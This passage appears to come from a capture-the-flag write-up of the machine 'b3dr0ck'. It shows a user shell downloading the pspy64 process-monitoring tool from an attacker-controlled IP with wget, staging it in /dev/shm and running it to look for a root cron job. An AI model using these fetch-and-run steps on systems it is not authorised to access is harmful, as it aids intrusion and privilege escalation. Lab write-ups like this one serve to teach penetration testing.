PSPY


A root cronjob process was identified

barney@b3dr0ck:/dev/shm$ wget http://10.9.2.95/pspy64
--2024-07-11 13:21:19--  http://10.9.2.95/pspy64
Connecting to 10.9.2.95:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
 
pspy64                            100%[=============================================================>]   2.96M  2.32MB/s    in 1.3s    
 
2024-07-11 13:21:21 (2.32 MB/s) - ‘pspy64’ saved [3104768/3104768]
 
barney@b3dr0ck:/dev/shm$ chmod 755 ./pspy64

Delivery complete

barney@b3dr0ck:/dev/shm$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Executing PSPY

The root cronjob process appears to be monitoring processes